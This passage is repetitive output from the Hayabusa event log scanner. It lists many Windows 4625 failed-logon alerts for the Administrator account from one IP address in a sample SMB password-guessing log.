NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.072 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gU2HjzjDxHsnvENI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.103 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cUPn5CEz2LtwRwvZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.140 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hCz069oBFXqpshbU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.187 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dzhc9PVRVP69tshD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.226 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ejA3ZNfKWEs8zAMX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.265 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: U5egiL2PGOrYCHv5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.302 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YYhIM3zla6KcbKbM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.344 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WjyQJnVBO4iC9Tkw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.387 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: g6Tpp8TRa2nRxHzo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.422 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DyLvo5Bn2HzyANdH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.465 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NaXNThuZDGqJ7oCP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.505 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 42Sb7p19cQsEV30b : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.540 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: An6629wgflzSgqY5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.584 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iO7JktEihqddmEtv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.624 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nG97BFOgKxnZaqi4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.668 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SH2D24c6nRGDL4Oe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.712 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uiu2yfaM2JQQZoLF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.745 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YQx9PG8DtR2tMjvS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.792 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OoAWryajKhLD7RyY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.836 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PgewSeaVugP1TXss : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.911 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sPMCPdCAnz4upz8X : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.956 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dUbV6xnGeBWE8Dif : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.001 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dIJ9mZczFO1GKItV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.044 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wW0vxE4o68L70Sra : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.085 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: upOn9DzB1yWtntyX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.116 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: m9uGgocAVReiJWDm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.153 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qm9Jf1fles2HOb3g : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.193 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ev5eTWdf3CskOMuh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.223 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QoiMO6sSLOm4fOD5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.256 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xDjvMsa2IgR9KO7l : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.293 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SR7gVjxHZDYeK7pJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.323 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4jzGAepr7JeNKuuk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.368 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: H9baxEeRCWjx6Fzr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.405 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Uy7aTt0B4ErguacA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.431 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nvKcLrUXqu2vTKO3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.486 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PLycXLeAU21pdnXL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.527 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SgwjJSKOPnurDWW4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.564 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YPDYdxPoQAl8aGMs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.594 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CX8knunlT6SMpmQw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.632 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AAjYbt50leZt3Xve : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.677 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3CD0HUCdg4UWOiji : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.709 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dkeWmTE1R1rYaYP8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.744 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: W87qcfSj4qWWUv4k : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.830 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WUCyUQgbUqwaLj3J : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.877 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q9nLhDbcvmVBZp4f : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.925 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BBWo1zDdjaAeGDWW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.960 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vjHRFk2flmzzd1zg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.000 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 53HYxs9s7fpP1y6V : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.035 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tluqXKvVooP7VNyB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.076 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 43m0nfi5tiv4TpSB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.107 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qjPyJXl984vViV6L : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.143 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MomQ8Yt51VsMiO4p : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.175 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LJYCi5r2otMHxA8f : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.211 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4oUSkMBI8SGDLwYC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.251 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: j1x3lyRjxn73KITB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.283 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gh05BhGpwq1ho62a : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.324 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bxj6ITbiciyRNLbF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.370 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Uev2mjCaqHjm6NYi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.415 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: L4WU383o9E5JyM5V : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.450 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lfMv0lsoiRnTCFXe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.504 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XL4ahBqUyGeTONkE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.549 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8hJ888Kmyi6KqIPn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.596 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VZ6sfYMHuygnMdY2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.636 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XkuSlyTNc5OOoUtd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.676 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5Z13YmupcMato8Sd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.733 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JedeMnLPnRJEwhZ9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.810 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mmy0c0wFheIRzSo4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.920 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sskKdqku5S0f1sWm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.962 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 15Qg0nCXNj7Ub1Sj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.004 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZD6iuaqv70k69G87 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.051 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gk3UuqTJmvH1snmN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.092 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zaw9iF5mJlyygdnB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.128 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Sr5PZAd1qMc7hi3c : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.167 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: l5xbQtyueVq3fJSG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.203 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: g2nP0zz2ofBxTGw6 : IP Address: 192.168.198.149 : AuthPackage: 